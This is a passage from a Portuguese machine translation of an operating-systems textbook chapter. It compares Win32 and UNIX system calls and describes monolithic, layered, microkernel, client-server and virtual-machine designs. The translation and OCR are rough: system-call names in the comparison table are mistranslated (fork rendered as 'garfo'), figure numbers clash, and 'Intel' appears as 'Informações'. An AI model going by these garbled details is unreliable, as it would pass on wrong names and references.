Até agora nos concentramos principalmente no UNIX. Agora é hora de olhar brevemente 
Janelas. O Windows e o UNIX diferem fundamentalmente em seus respectivos modelos de programação. Um 
programa UNIX consiste em código que faz algo ou 
outro, fazer chamadas de sistema para executar determinados serviços. Em contraste, um programa Windows 
normalmente é orientado por eventos. O programa principal espera por algum evento para 
acontecer, então chama um procedimento para lidar com isso. Eventos típicos são chaves sendo tocadas, 
o mouse sendo movido, um botão do mouse sendo pressionado ou uma unidade USB inserida ou 
removido do computador. Os manipuladores são então chamados para processar o evento, atualizar 
a tela e atualize o estado interno do programa. Resumindo, isso leva a um estilo de programação um tanto 
diferente do UNIX, mas como o foco deste 


livro é sobre função e estrutura do sistema operacional, essas diferentes programações 
modelos não nos preocuparão muito mais. 
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Claro, o Windows também possui chamadas de sistema. Com o UNIX, existe um relacionamento 
quase um-para-um entre as chamadas do sistema (por exemplo, leitura) e os procedimentos da biblioteca 
(por exemplo, leitura) usados para invocar as chamadas do sistema. Em outras palavras, para cada 
chamada de sistema, há aproximadamente um procedimento de biblioteca que é chamado para invocá-la, 
conforme indicado na Figura 1.17. Além disso, o POSIX possui apenas cerca de 100 chamadas de procedimento. 

Com o Windows, a situação é radicalmente diferente. Para começar, as chamadas da biblioteca e as 
chamadas reais do sistema são altamente dissociadas. A Microsoft definiu um conjunto de procedimentos 
chamados WinAPI, Win32 API ou Win64 API (Application Programming Interface) que os programadores 
devem usar para obter serviços do sistema operacional. Esta interface é (parcialmente) suportada em 
todas as versões do Windows desde o Windows 95. Ao dissociar a interface API usada pelo programador 
das chamadas reais do sistema, a Microsoft mantém a capacidade de alterar as chamadas reais do sistema 
a tempo (mesmo de versão para versão) sem invalidando programas existentes. 


O que realmente constitui o Win32 também é um pouco ambíguo porque as versões recentes do Windows 
têm muitas chamadas novas que não estavam disponíveis anteriormente. Nesta seção, Win32 significa a 
interface suportada por todas as versões do Windows. Win32 oferece compatibilidade entre versões do 
Windows. Win64 é em grande parte Win32 com indicadores maiores, então vamos nos concentrar no Win32 
aqui. 

O número de chamadas de API do Win32 é extremamente grande, chegando a milhares. Além disso, 
embora muitos deles invoquem chamadas de sistema, um número substancial é executado inteiramente 
no espaço do usuário. Como consequência, com o Windows é impossível ver o que é uma chamada de 
sistema (ou seja, executada pelo kernel) e o que é simplesmente uma chamada de biblioteca de espaço de 
usuário. Na verdade, o que é uma chamada de sistema em uma versão do Windows pode ser feito no 
espaço do usuário em uma versão diferente e vice-versa. Quando discutirmos as chamadas do sistema 
Windows neste livro, usaremos os procedimentos Win32 (quando apropriado), pois a Microsoft garante 
que eles permanecerão estáveis ao longo do tempo. Mas vale lembrar que nem todas são chamadas de 
sistema verdadeiras (ou seja, armadilhas para o kernel). 


A API Win32 possui um grande número de chamadas para gerenciamento de janelas, figuras 
geométricas, texto, fontes, barras de rolagem, caixas de diálogo, menus e outros recursos da GUI. 

Na medida em que o subsistema gráfico é executado no kernel (verdadeiro em algumas versões do 
Windows, mas não em todas), estas são chamadas de sistema; caso contrário, serão apenas chamadas de 
biblioteca. Devemos discutir essas chamadas neste livro ou não? Como eles não estão realmente 
relacionados com a função de um sistema operacional, decidimos não fazê-lo, mesmo que possam ser 
executados pelo kernel. Os leitores interessados na API Win32 devem consultar um dos muitos livros sobre 
o assunto (por exemplo, Yosifovich, 2020). 

Mesmo a introdução de todas as chamadas de API do Win32 aqui está fora de questão, então nos 
restringiremos às chamadas que correspondem aproximadamente à funcionalidade das chamadas do UNIX 
listadas na Figura 1.18. Eles estão listados na Figura 1.28. 

Vamos agora examinar brevemente a lista da Figura 1.23. CreateProcess cria um novo processo. Ele 
faz o trabalho combinado de fork e execve no UNIX. Possui muitos parâmetros que especificam as 
propriedades do processo recém-criado. O Windows não possui uma hierarquia de processos como o UNIX, 
portanto não existe o conceito de pai 
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UNIX Win32 Descrição 
garfo CriarProcesso Crie um novo processo 
waitpid WaitForSingleObject Pode esperarja saída de um processo 
execve (nenhum) saída CreateProcess = para k + execve 
Sair do Processo Encerrar execução 
abrir Criar arquivo Crie um arquivo ou abra um arquivo existente 
fechar FecharHandle Fechar um arquivo 
ler Ler arquivo Ler dados de um arquivo 
escrever escrever escrever arquivo Gravar dados em um arquivo 
eu procuro DefinirFilePointer Mova o ponteiro do arquivo 
Estado GetFileAttributesEx Obtenha vários atributos de arquivo 
mkdir Criar diretório Crie um novo diretor y 
rmdir RemoveDirector y Remover um diretório vazio 
link (nenhum) Win32 não suporta links 
desvincular Excluir arquivo Destruir um arquivo existente 
montar (neņhum) Win32 não suporta montagem 
umount (nenhum) Win32 não suporta montagem, então não há quantidade 
chdir SetCurrentDirectory Alterar à diretor de trabalho atual 
chmod (nenhum) matar Win32 não oferece suporte à segurança (embora o NT suporte) 
(nenhum) Win32 não suporta sinais 
tempo ObterLocalTime Obtenha a hora atual 


Figura 1-23. As chamadas da API Win32 que correspondem aproximadamente às chamadas UNIX do 
Figura 1-18. Vale ressaltar que o Windows possui um número muito grande de outras chamadas de 
sistema, muitas das quais não correspondem a nada no UNIX. 


processo e um processo filho. Depois que um processo é criado, o criador e o criado são 
é igual a. WaitForSingleObject é usado para aguardar um evento. Muitos eventos possíveis podem 
ser esperado. Se o parâmetro especificar um processo, o chamador aguardará o 
processo especificado para sair, o que é feito usando ExitProcess. 

As próximas seis chamadas operam em arquivos e são funcionalmente semelhantes às do UNIX. 
homólogos, embora difiram nos parâmetros e detalhes. Ainda assim, os arquivos podem ser 
aberto, fechado, lido e escrito de forma semelhante ao UNIX. O SetFilePointer e 
As chamadas GetFileAttr ibutesEx definem a posição do arquivo e obtêm alguns dos atributos do arquivo. 

O Windows possui diretórios e eles são criados com CreateDirector y e 
RemoveDirector e chamadas de API, respectivamente. Há também uma noção de diretório atual, definido por 
SetCurrentDirector y. A hora atual do dia é obtida usando GetLo calTime. 


A interface Win32 não possui links para arquivos, sistemas de arquivos montados, segurança 
ou sinais, portanto as chamadas correspondentes às do UNIX não existem. Claro, 
O Win32 possui um grande número de outras chamadas que o UNIX não possui, especialmente para 
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gerenciando a GUI. Por exemplo, o Windows 11 tem um sistema de segurança elaborado 
e também oferece suporte a links de arquivos. 

Talvez valha a pena fazer uma última observação sobre o Win32. Win32 não é terrivelmente 
interface uniforme ou consistente. O principal culpado aqui foi a necessidade de ser compatível com a 
interface anterior de 16 bits usada no Windows 3.x. 


1.7 ESTRUTURA DO SISTEMA OPERACIONAL 


Agora que vimos como são os sistemas operacionais externamente (ou seja, 
interface do programador), é hora de dar uma olhada por dentro. Nas seções seguintes, examinaremos 
seis estruturas diferentes que foram testadas, a fim de obter 
alguma idéia do espectro de possibilidades. Estas não são de forma alguma exaustivas, mas 
eles dão uma idéia de alguns projetos que foram testados na prática. Os seis desenhos 
discutiremos aqui sistemas monolíticos, sistemas em camadas, microkernels, sistemas cliente-servidor, 
máquinas virtuais e exo e unikernels. 


1.7.1 Sistemas Monolíticos 


De longe a organização mais comum, a abordagem monolítica é administrar o 
todo o sistema operacional como um único programa no modo kernel. O sistema operacional 
é escrito como uma coleção de procedimentos, interligados em um único grande 
programa binário executável. Quando esta técnica é usada, cada procedimento no sistema é livre para 
chamar qualquer outro, se este último fornecer algum cálculo útil que 
as primeiras necessidades. Poder chamar qualquer procedimento que você quiser é muito eficiente, mas 
ter milhares de procedimentos que podem chamar uns aos outros sem restrições pode 
também levam a um sistema que é pesado e difícil de entender. Além disso, um acidente em 
qualquer um desses procedimentos derrubará todo o sistema operacional. 

Para construir o programa-objeto real do sistema operacional quando esta abordagem é usada, 
primeiro compilamos todos os procedimentos individuais (ou os arquivos que contêm os procedimentos) 
e depois os ligamos todos juntos em um único executável. 
arquivo usando o vinculador do sistema. Em termos de ocultação de informações, há essencialmente 
nenhum — cada procedimento é visível para todos os outros procedimentos (em oposição a uma 
estrutura contendo módulos ou pacotes, na qual muitas das informações estão ocultas 
dentro dos módulos, e apenas os pontos de entrada oficialmente designados podem ser chamados 
de fora do módulo). 

Mesmo em sistemas monolíticos, porém, é possível ter alguma estrutura. O 
serviços (chamadas de sistema) fornecidos pelo sistema operacional são solicitados colocando 
os parâmetros em um local bem definido (por exemplo, na pilha) e então executar uma armadilha 
instrução. Esta instrução muda a máquina do modo usuário para o modo kernel 
e transfere o controle para o sistema operacional, mostrado na etapa 6 na Figura 1.17. O 
sistema operacional então busca os parâmetros e determina qual chamada de sistema é 
a ser realizado. Depois disso, ele indexa em uma tabela que contém no slot k um ponteiro 
ao procedimento que realiza a chamada do sistema k (etapa 7 na Figura 1.17). 
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Esta organização sugere uma estrutura básica para o sistema operacional: 
1. Um programa principal que invoca o procedimento de serviço solicitado. 
2. Um conjunto de procedimentos de serviço que realizam as chamadas do sistema. 
3. Um conjunto de procedimentos utilitários que auxiliam nos procedimentos de serviço. 


Neste modelo, para cada chamada de sistema existe um procedimento de serviço que cuida dela e a executa. Os 
procedimentos utilitários fazem coisas que são necessárias para vários procedimentos de serviço, como buscar 


dados de programas de usuário. Esta divisão dos procedimentos em três camadas é mostrada na Figura 1.24. 


Procedimento principal 


Procedimentos de serviço 


Procedimentos utilitários 


Figura 1-24. Um modelo de estruturação simples para um sistema monolítico. 


Além do sistema operacional principal que é carregado quando o computador é inicializado, muitos sistemas 
operacionais suportam extensões carregáveis, como drivers de dispositivos de E/S e sistemas de arquivos. Esses 
componentes são carregados sob demanda. No UNIX elas são chamadas de bibliotecas compartilhadas. No 
Windows elas são chamadas de DLLs (Bibliotecas de Link Dinâmico). Eles têm extensão de arquivo .dile o 


diretório C:|Windowslsystem32 em sistemas Windows tem bem mais de 1000 deles. 


1.7.2 Sistemas em Camadas 


Uma generalização da abordagem da Figura 1.24 é organizar o sistema operacional como uma hierarquia de 
camadas, cada uma construída sobre a que está abaixo dela. O primeiro sistema construído desta forma foi o 
sistema THE construído na Technische Hogeschool Eindhoven, na Holanda, por EW Dijkstra (1968) e seus alunos. 
O sistema THE era um sistema em lote simples para um computador holandês, o Eletrológica X8, que tinha 32K 
de palavras de 27 bits (os bits eram caros naquela época). 


O sistema tinha seis camadas, conforme mostrado na Figura 1.25. A camada 0 tratava da alocação do 
processador, alternando entre processos quando ocorriam interrupções ou temporizadores expiravam. Acima da 


camada 0, o sistema consistia em processos sequenciais, cada um deles 
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que poderia ser programado sem ter que se preocupar com o fato de que vários 
os processos estavam sendo executados em um único processador. Em outras palavras, a camada 0 forneceu o 
multiprogramação básica da CPU. 


Camada Função 
5 O operador 
4 Programas de usuário 
3 Gerenciamento de entrada/saída 
2 Comunicação operador-processo 
1 Gerenciamento de memória e bateria 
0 Alocação de processador e multiprogramação 


Figura 1-25. Estrutura do sistema operacional. 


A camada 1 fez o gerenciamento de memória. Alocou espaço para processos nas principais 
memória e em um tambor de palavras de 512K usado para armazenar partes de processos (páginas) para 
que não havia espaço na memória principal. Acima da camada 1, os processos não tinham 
preocupar-se se estavam na memória ou no tambor; o software da camada 1 
cuidou de garantir que as páginas fossem trazidas para a memória no momento em que 
eram necessários e removidos quando não eram necessários. 

A camada 2 tratava da comunicação entre cada processo e o console do operador (ou seja, o usuário). 
No topo desta camada, cada processo efetivamente tinha seu próprio 
console do operador. A Camada 3 cuidou do gerenciamento dos dispositivos de E/S e do buffer dos 
fluxos de informações de e para eles. Acima da camada 3, cada processo poderia lidar com 
dispositivos de E/S abstratos com boas propriedades, em vez de dispositivos reais com muitas peculiaridades. 
A camada 4 era onde os programas do usuário eram encontrados. Eles não precisavam 
preocupe-se com gerenciamento de processo, memória, console ou E/S. O operador do sistema 
o processo estava localizado na camada 5. 

Uma generalização adicional do conceito de camadas esteve presente no MULTICS 
sistema. Em vez de camadas, o MULTICS foi descrito como tendo uma série de camadas concêntricas. 
anéis, sendo os internos mais privilegiados que os externos (o que é 
efetivamente a mesma coisa). Quando um procedimento em um anel externo deseja chamar um 
procedimento em um anel interno, ele deveria fazer o equivalente a uma chamada de sistema, ou seja, um 
Instrução TRAP cujos parâmetros foram cuidadosamente verificados quanto à validade antes do 
a chamada foi autorizada a prosseguir. Embora todo o sistema operacional fizesse parte do 
espaço de endereço de cada processo de usuário no MULTICS, o hardware tornou possível 
designar procedimentos individuais (segmentos de memória, na verdade) como protegidos contra 
ler, escrever ou executar. 

Considerando que o esquema de camadas THE era na verdade apenas uma ajuda ao design, porque todos os 
partes do sistema foram finalmente ligadas entre si em um único programa executável, no MULTICS, o 
mecanismo de anel estava muito presente em tempo de execução e 
imposta pelo hardware. A vantagem do mecanismo em anel é que ele pode ser facilmente estendido para 


estruturar subsistemas de usuários. Por exemplo, um professor poderia escrever um 
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programa para testar e avaliar programas de alunos e executar este programa no anel n, com 
os programas estudantis rodando no anel n + 1 para que eles não pudessem mudar seus 
notas. 


1.7.3 Micronúcleos 


Com a abordagem em camadas, os projetistas podem escolher onde traçar a fronteira entre o kernel e o 
usuário. Tradicionalmente, todas as camadas iam para o kernel, mas isso não é 
necessário. Na verdade, pode-se argumentar fortemente para colocar o mínimo possível no modo kernel 
porque bugs no kernel podem derrubar o sistema instantaneamente. Em contraste, os processos do usuário 
têm menos poder, de modo que um bug pode não ser fatal. 

Vários pesquisadores estudaram repetidamente o número de bugs por 1.000 linhas 
de código (por exemplo, Basilli e Perricone, 1984; e Ostrand e Weyuker, 2002). Erro 
a densidade depende do tamanho do módulo, da idade do módulo e muito mais, mas um valor aproximado para 
sistemas industriais sérios está entre dois e dez bugs por mil linhas de código. 
Isso significa que um sistema operacional monolítico de cinco milhões de linhas de código provavelmente 
conterá entre 10.000 e 50.000 bugs de kernel. Nem todos estes são fatais, de 
É claro que, como alguns bugs podem ser coisas como um pequeno erro ortográfico em uma mensagem de 
erro, raramente é necessário. 

A ideia básica por trás do design do microkernel é alcançar alta confiabilidade 
dividindo o sistema operacional em módulos pequenos e bem definidos, apenas um deles 
que — o microkernel — é executado no modo kernel e o restante é executado como processos de usuário 
comuns relativamente impotentes. Em particular, executando cada driver de dispositivo e arquivo 
sistema como um processo de usuário separado, um bug em um deles pode travar esse componente, 
mas não pode travar todo o sistema. Assim, um bug no driver de áudio fará com que o 
o som ficará distorcido ou interrompido, mas não travará o computador. Em contrapartida, em um 
sistema monolítico com todos os drivers no kernel, um driver de áudio com bugs pode facilmente 
referenciar um endereço de memória inválido e interromper o sistema 
imediatamente. 

Muitos microkernels foram implementados e implantados há décadas (Haertig 
et al., 1997; Heiser et al., 2006; Herder et al., 2006; Hildebrand, 1992; Kirsch e outros 
al., 2005; Liedtke, 1993, 1995, 1996; Pike et al., 1992; e Zuberi et al., 1999). 
Com exceção do macOS, que é baseado no microkernel Mach (Accetta et 
al., 1986), os sistemas operacionais de desktop comuns não usam microkernels. No entanto, 
eles são dominantes em aplicações industriais, aviônicas e militares em tempo real que 
são de missão crítica e têm requisitos de confiabilidade muito elevados. Alguns dos microkernels mais 
conhecidos incluem Integrity, K42, L4, PikeOS, QNX, Symbian e 
MINIX 3. Apresentamos agora uma breve visão geral do MINIX 3, que adotou a ideia de 
modularidade ao limite, dividindo a maior parte do sistema operacional em vários 
processos de modo de usuário independentes. MINIX 3 é um software de código aberto compatível com POSIX 
sistema disponível gratuitamente em www.minix3.org (Giuffrida et al., 2012; Giuffrida et al., 
2013; Herder et al., 2006; Herder et al., 2009; e Hruby et al., 2013). Informações 
adotou o MINIX 3 como mecanismo de gerenciamento em praticamente todas as suas CPUs. 
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O microkernel MINIX 3 tem apenas cerca de 15.000 linhas de C e cerca de 1.400 linhas 
do assembler para funções de nível muito baixo, como capturar interrupções e alternar 
processos. O código C gerencia e agenda processos, lida com processos interprocessos 
comunicação (passando mensagens entre processos) e oferece um conjunto de cerca de 
40 chamadas de kernel para permitir que o resto do sistema operacional faça seu trabalho. Essas chamadas 
executar funções como conectar manipuladores a interrupções, mover dados entre 
espaços de endereço e instalação de mapas de memória para novos processos. A estrutura do processo 
do MINIX 3 é mostrada na Figura 1.26, com os manipuladores de chamadas do kernel rotulados como Sys. 
O driver de dispositivo para o relógio também está no kernel porque o escalonador interage 


de perto com isso. Os outros drivers de dispositivo são executados como processos de usuário separados. 


Processo 


Programas de usuário 


Do utiizador 
modo < Pi 
TOCESSO. 


Servidores 


Motoristas 


Microkernel lida com interrupções, processos, agendamento, 


comunicação entre processos 


Figura 1-26. Estrutura simplificada do sistema MINIX . 


Fora do kernel, o sistema é estruturado como três camadas de processos, todos executados em modo 
de usuário. A camada mais baixa contém os drivers de dispositivo. Desde que eles correm 
modo de usuário, eles não têm acesso físico ao espaço da porta de E/S e não podem emitir 
comandos de E/S diretamente. Em vez disso, para programar um dispositivo de E/S, o driver constrói uma 
estrutura informando quais valores escrever em quais portas de E/S e faz uma chamada ao kernel informando 
o kernel para fazer a gravação. Esta abordagem significa que o kernel pode verificar para ver 
que o driver está gravando (ou lendo) da E/S que está autorizado a usar. Consequentemente 
(e ao contrário de um design monolítico), um driver de áudio com bugs não pode gravar acidentalmente 
o SSD ou disco. 

Acima dos drivers está outra camada de modo de usuário contendo os servidores, que fazem 
a maior parte do trabalho do sistema operacional. Um ou mais servidores de arquivos gerenciam o arquivo 
sistema(s), o gerente de processos cria, destrói e gerencia processos, e assim 
sobre. Os programas dos usuários obtêm serviços do sistema operacional enviando mensagens curtas para 
os servidores solicitando as chamadas do sistema POSIX. Por exemplo, um processo que precisa 
do a read envia uma mensagem para um dos servidores de arquivos informando o que ler. 

Um servidor interessante é o servidor de reencarnação, cujo trabalho é verificar se o 
outros servidores e drivers estão funcionando corretamente. No caso de um defeito ser 
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detectado, ele é automaticamente substituído sem qualquer intervenção do usuário. Desta maneira, 
o sistema é auto-recuperável e pode alcançar alta confiabilidade. 

O sistema tem muitas restrições que limitam o poder de cada processo. Como mencionado, os drivers 
podem tocar apenas nas portas de E/S autorizadas, mas o acesso às chamadas do kernel também é 
controlado por processo, assim como a capacidade de enviar mensagens para outros processos. Os processos 
também podem conceder permissão limitada para que outros processos tenham o 
kernel acessa seus espaços de endereço. Por exemplo, um sistema de arquivos pode conceder permissão ao 
driver de disco para permitir que o kernel coloque um bloco de disco recém-lido em um local específico. 
endereço dentro do espaço de endereço do sistema de arquivos. A soma total de todas essas restrições é que 
cada driver e servidor tem exatamente o poder de fazer seu trabalho e nada 
mais, limitando bastante o dano que um componente com defeito pode causar. Restringindo 
o que um componente pode fazer exatamente para o que ele precisa para realizar seu trabalho é conhecido como 
o POLA (Princípio da Menor Autoridade), um importante princípio de design para a construção de sistemas 
seguros. Discutiremos outros princípios semelhantes no Cap. 9. 

Uma ideia um tanto relacionada a ter um kernel mínimo é colocar o mecanismo 
por fazer algo no kernel, mas não na política. Para esclarecer melhor esse ponto, 
considerar o escalonamento de processos. Um algoritmo de escalonamento relativamente simples é 
atribuir uma prioridade numérica a cada processo e então fazer com que o kernel execute o 
processo de maior prioridade que pode ser executado. O mecanismo - no kernel - é 
procure o processo de maior prioridade e execute-o. A política — atribuir prioridades a 
processos - pode ser feito por processos no modo de usuário. Desta forma, a política e o mecanismo podem ser 
dissociados e o núcleo pode ser reduzido. 


1.7.4 Modelo Cliente-Servidor 


Uma ligeira variação da ideia do microkernel é distinguir duas classes de processos, os servidores, cada 
um dos quais fornece algum serviço, e os clientes, que utilizam 
esses serviços. Este modelo é conhecido como modelo cliente-servidor . A essência é o 
presença de processos clientes e processos servidores. 
A comunicação entre clientes e servidores geralmente ocorre por meio de passagem de mensagens. Para 
obter um serviço, um processo cliente constrói uma mensagem dizendo o que deseja e 
envia-o para o serviço apropriado. O serviço então faz o trabalho e envia de volta 
a resposta. Se o cliente e o servidor rodarem na mesma máquina, certos 
otimizações são possíveis, mas conceitualmente ainda estamos falando de mensagem 
passando aqui. 
Uma generalização desta ideia é fazer com que os clientes e servidores rodem em diferentes 
computadores, conectados por uma rede local ou de área ampla, conforme ilustrado na Figura 1.27. 
Como os clientes se comunicam com os servidores enviando mensagens, os clientes não precisam 
saber se as mensagens são tratadas localmente em suas próprias máquinas ou se 
eles são enviados através de uma rede para servidores remotos. máquina. Para o cliente, em ambos os casos 
acontece o mesmo: os pedidos são enviados e 
as respostas voltam. Assim, o modelo cliente-servidor é uma abstração que pode ser usada 


para uma única máquina ou para uma rede de máquinas. 
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Máquina 1 Máquina 2 Máquina 3 Máquina 4 


Cliente 
Núcleo I |] Núcleo 


Mensagem do 
cliente para o servidor 


Figura 1-27. O modelo cliente-servidor em uma rede. 


Cada vez mais sistemas envolvem usuários em seus PCs domésticos como clientes e 
grandes máquinas em outros lugares funcionando como servidores. Na verdade, grande parte da 
Web funciona dessa forma. Um PC envia uma solicitação de uma página da Web ao servidor e a 
página da Web retorna. Este é um uso típico do modelo cliente-servidor em uma rede. 


1.7.5 Máquinas Virtuais 


As versões iniciais do 0S/360 eram estritamente sistemas em lote. No entanto, muitos 
usuários 360 queriam poder trabalhar interativamente em um terminal, então vários grupos, tanto 
dentro como fora da IBM, decidiram escrever sistemas de compartilhamento de tempo para ele. O 
sistema oficial de timesharing da IBM, TSS/360, foi entregue com atraso e, quando finalmente 
chegou, era tão grande e lento que poucos sites foram convertidos para ele. Acabou sendo 
abandonado depois que seu desenvolvimento consumiu cerca de US$ 50 milhões (Graham, 1970). 
Mas um grupo do Centro Científico da IBM em Cambridge, Massachusetts, produziu um sistema 
radicalmente diferente que a IBM acabou aceitando como produto. Um descendente linear dele, 
chamado z/VM, é hoje amplamente utilizado nos atuais mainframes da IBM, os zSeries, que são 
muito usados em grandes data centers corporativos, por exemplo, como servidores de comércio 
eletrônico que lidam com centenas ou milhares de transações por vez. em segundo lugar e usar 
bancos de dados cujos tamanhos chegam a milhões de gigabytes. 


VM/370 


Este sistema, originalmente chamado CP/CMS e mais tarde renomeado VM/370 (Seawright 
e MacKinnon, 1979), foi baseado em uma observação astuta: um sistema de compartilhamento de 
tempo fornece (1) multiprogramação e (2) uma máquina estendida com uma interface mais 
conveniente. do que o hardware básico. A essência do VM/370 é separar completamente essas 
duas funções. 

O coração do sistema, cnamado monitor de máquina virtual, é executado no hardware 
básico e faz a multiprogramação, fornecendo não uma, mas diversas máquinas virtuais para a 
próxima camada, como mostrado na Figura 1.28. No entanto, ao contrário de todos os outros 
sistemas operacionais, estas máquinas virtuais não são máquinas estendidas, com arquivos 
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e outros recursos interessantes. Em vez disso, eles são cópias exatas do hardware básico, incluindo modo 


kernel/usuário, E/S, interrupções e tudo mais que a máquina real possui. 


370 virtuais 


Chamadas do sistema aqui 


Instruções de E/S aqui Armadilha aqui 


Armadilha aqui 


Figura 1-28. A estrutura do VM/370 com CMS. 


Como cada máquina virtual é idêntica ao hardware verdadeiro, cada uma pode 
execute qualquer sistema operacional que será executado diretamente no hardware básico. Diferentes 
máquinas virtuais podem executar, e frequentemente o fazem, sistemas operacionais diferentes. No sistema 
IBM VM/370 original, alguns executavam o OS/360 ou um dos outros sistemas operacionais de processamento 
de transações ou lotes grandes, enquanto outros executavam um sistema interativo de usuário único. 
sistema chamado CMS (Conversational Monitor System) para compartilhamento de tempo interativo 
Usuários. Este último era popular entre os programadores. 

Quando um programa CMS executava uma chamada de sistema, a cnamada era capturada no sistema 
operacional em sua própria máquina virtual, e não no VM/370, exatamente como seria se fosse 
rodando em uma máquina real em vez de virtual. CMS então emitiu o normal 
instruções de E/S de hardware para ler seu disco virtual ou o que for necessário para 
realizar a chamada. Essas instruções de E/S foram capturadas pelo VM/370, que então as executou como 
parte de sua simulação do hardware real. Ao separar completamente as funções de multiprogramação e 
fornecer uma máquina estendida, cada 
das peças poderia ser muito mais simples, mais flexível e muito mais fácil de manter. 

Em sua encarnação moderna, o z/VM geralmente é usado para executar vários sistemas operacionais 
completos, em vez de sistemas simplificados de usuário único, como o CMS. Por exemplo, o zSeries é capaz 
de executar uma ou mais máquinas virtuais Linux junto 


com sistemas operacionais IBM tradicionais. 


Máquinas virtuais redescobertas 


Embora a IBM tenha um produto de máquina virtual disponível há quatro décadas e um 
poucas outras empresas, incluindo Oracle e Hewlett-Packard, adicionaram recentemente 
suporte de máquinas virtuais para seus servidores empresariais de ponta, a ideia de virtualização foi 
amplamente ignorada no mundo dos PCs até recentemente. Mas no passado 
décadas, uma combinação de novas necessidades, novos softwares e novas tecnologias 
combinados para torná-lo um tema quente. 

Primeiro as necessidades. Muitas empresas tradicionalmente executam seus servidores de e-mail, Web 
servidores, servidores FTP e outros servidores em computadores separados, às vezes com 
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diferentes sistemas operacionais. Eles veem a virtualização como uma forma de executar 
todos eles na mesma máquina sem que a falha de um servidor derrube os demais. 

A virtualização também é popular no mundo da hospedagem na Web. Sem virtualização, 
os clientes de hospedagem Web são forçados a escolher entre hospedagem compartilhada 
(que apenas lhes dá uma conta de login em um servidor Web, mas sem controle sobre o 
software do servidor) e hospedagem dedicada (que lhes dá sua própria máquina, que é muito 
flexível). mas não é rentável para sites de pequeno e médio porte). Quando uma empresa de 
hospedagem na Web oferece máquinas virtuais para aluguel, uma única máquina física pode 
executar muitas máquinas virtuais, cada uma das quais parece ser uma máquina completa. 
Os clientes que alugam uma máquina virtual podem executar qualquer sistema operacional e 
software que desejarem, mas por uma fração do custo de um servidor dedicado (porque a 
mesma máquina física suporta muitas máquinas virtuais ao mesmo tempo). 

Outro uso da virtualização é para usuários finais que desejam executar dois ou mais 
sistemas operacionais ao mesmo tempo, como Windows e Linux, porque alguns de seus 
pacotes de aplicativos favoritos são executados em um e outros no outro. Essa situação é 
ilustrada na Figura 1.29(a), onde o termo “monitor de máquina virtual” foi renomeado como 
hipervisor tipo 1, que é comumente usado hoje em dia porque “monitor de máquina virtual” 
requer mais pressionamentos de teclas do que as pessoas conseguem. preparado para 
aguentar agora. Observe que muitos autores usam os termos de forma intercambiável. 


Convidado 


Processo do sistema operacional Processo do SO convidado 


Processo do 
Módulo 
sistema operacional host 


do kernel 


Excel Word Mplayer Apollon 


Hipervisor tipo 1 | Sistema operacional hospedeiro | Sistema operacional hospedeiro 


(a) (b) (c) 


Figura 1-29. (a) Um hipervisor tipo 1. (b) Um hipervisor tipo 2 puro. (c) Um 
hipervisor tipo 2 prático. 


Embora ninguém conteste a atratividade das máquinas virtuais hoje, o problema era a 
implementação. Para executar software de máquina virtual em um computador, sua CPU 
deve ser virtualizável (Popek e Goldberg, 1974). Em poucas palavras, aqui está o problema. 
Quando um sistema operacional executado em uma máquina virtual (em modo de usuário) 
executa uma instrução privilegiada, como modificar o PSW ou fazer E/S, é essencial que o 
hardware seja interceptado no monitor da máquina virtual para que a instrução possa ser 
emulada. em software. Em algumas CPUs — principalmente o Pentium, seus predecessores 
e seus clones — as tentativas de executar instruções privilegiadas no modo de usuário são 
simplesmente ignoradas. Esta propriedade impossibilitou a existência de máquinas virtuais 
neste hardware, o que explica o desinteresse pelo mundo x86. Claro, há 
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eram intérpretes do Pentium, como Bochs, que rodava no Pentium, mas com 


uma perda de desempenho de uma a duas ordens de grandeza, eles não eram úteis para trabalhos sérios. 


Esta situação mudou como resultado de vários projetos de pesquisa acadêmica no 
década de 1990 e primeiros anos deste milênio, notadamente Disco em Stanford (Bugnion et 
al., 1997) e Xen na Universidade de Cambridge (Barham et al., 2003). Essas pesquisas 
documentos levaram a vários produtos comerciais (por exemplo, VMware Workstation e Xen) 
e um renascimento do interesse em máquinas virtuais. Além do VMware e do Xen, populares 
hipervisores hoje incluem KVM (para o kernel Linux), VirtualBox (da Oracle), 
e Hyper-V (da Microsoft). 

Alguns dos primeiros projetos de pesquisa melhoraram o desempenho dos intérpretes. 
como Bochs , traduzindo blocos de código dinamicamente, armazenando-os em um armazenamento interno 
cache e, em seguida, reutilizá-los se forem executados novamente. Isto melhorou consideravelmente o 
desempenho e levou ao que chamaremos de simuladores de máquinas, como 
mostrado na Figura 1.29(b). No entanto, embora esta técnica, conhecida como tradução binária, tenha 
ajudado a melhorar a situação, os sistemas resultantes, embora bons o suficiente para publicar artigos em 
conferências académicas, ainda não eram suficientemente rápidos para serem utilizados em conferências académicas. 
ambientes comerciais onde o desempenho é muito importante. 

O próximo passo para melhorar o desempenho foi adicionar um módulo do kernel para fazer 
parte do trabalho pesado, como mostrado na Figura 1.29(c). Na prática, todos os hipervisores disponíveis 
comercialmente, como o VMware Workstation, utilizam esta estratégia híbrida. 
(e também tem muitas outras melhorias). Eles são chamados de hipervisores tipo 2 
por todos, então iremos (um tanto a contragosto) continuar e usar esse nome no 
restante deste livro, embora preferíssemos chamá-los de hipervisores tipo 1.7 
para refletir o fato de que eles não são programas inteiramente em modo de usuário. No cap. 7, nós 
descreverá em detalhes como o VMware Workstation funciona e quais são os vários 
peças fazem. 

Na prática, a verdadeira distinção entre um hipervisor tipo 1 e um hipervisor tipo 2 é que um hipervisor 
tipo 2 utiliza um sistema operacional host e seu sistema de arquivos para 
criar processos, armazenar arquivos e assim por diante. Um hipervisor tipo 1 não tem suporte subjacente e 
deve executar ele mesmo todas essas funções. 

Depois que um hipervisor tipo 2 é iniciado, ele lê o arquivo de imagem de instalação do 
sistema operacional convidado escolhido e instala o sistema operacional convidado em um disco virtual, que 
é apenas um arquivo grande no sistema de arquivos do sistema operacional host. Os hipervisores tipo 1 não 
podem fazer isso porque não há sistema operacional host para armazenar arquivos. Eles devem 
gerenciar seu próprio armazenamento em uma partição de disco bruto. 

Quando o sistema operacional convidado é inicializado, ele faz a mesma coisa que faz no 
o hardware real, normalmente iniciando alguns processos em segundo plano e, em seguida, um 
GUI. Para o usuário, o sistema operacional convidado se comporta da mesma maneira que quando 
rodando no metal puro, embora esse não seja o caso aqui. 

Uma abordagem diferente para lidar com instruções de controle é modificar a operação 
sistema para removê-los. Essa abordagem não é a verdadeira virtualização. Em vez disso é 


chamada paravirtualização. Discutiremos a virtualização no Cap. 7. 
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O Jav uma máquina virtual 


Outra área onde as máquinas virtuais são utilizadas, mas de uma forma um pouco 
